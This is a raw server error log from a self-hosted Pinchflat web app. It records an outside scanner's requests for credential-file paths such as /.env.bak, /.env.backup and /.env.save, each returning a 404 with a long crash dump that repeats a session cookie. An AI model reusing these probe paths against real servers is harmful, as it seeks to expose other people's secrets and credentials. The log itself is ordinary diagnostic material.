{"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.remote", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6BtWO26kGcwAAQMB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.remote", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.remote", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 13, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:06.740 [info] GET /.env.bak 02:10:06.741 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=340.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.742 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=228.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.742 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.743 [error] #PID<0.3318.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 14) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.bak ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3318.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.bak", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6CHMzsdnPb4AAQNB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.bak", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchf (truncated) 02:10:06.861 [info] GET /.env.backup 02:10:06.861 [debug] QUERY OK source="settings" db=0.2ms idle=347.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.862 [debug] QUERY OK source="settings" db=0.1ms idle=229.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.862 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.862 [error] #PID<0.3319.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 15) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3319.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6CkEBpI_q7MAAQOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:06.975 [info] GET /.env.save 02:10:06.975 [debug] QUERY OK source="settings" db=0.2ms idle=234.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.976 [debug] QUERY OK source="settings" db=0.1ms idle=233.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:06.976 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:06.976 [error] #PID<0.3320.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 16) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3320.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6C_QAKn4GvMAAQPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 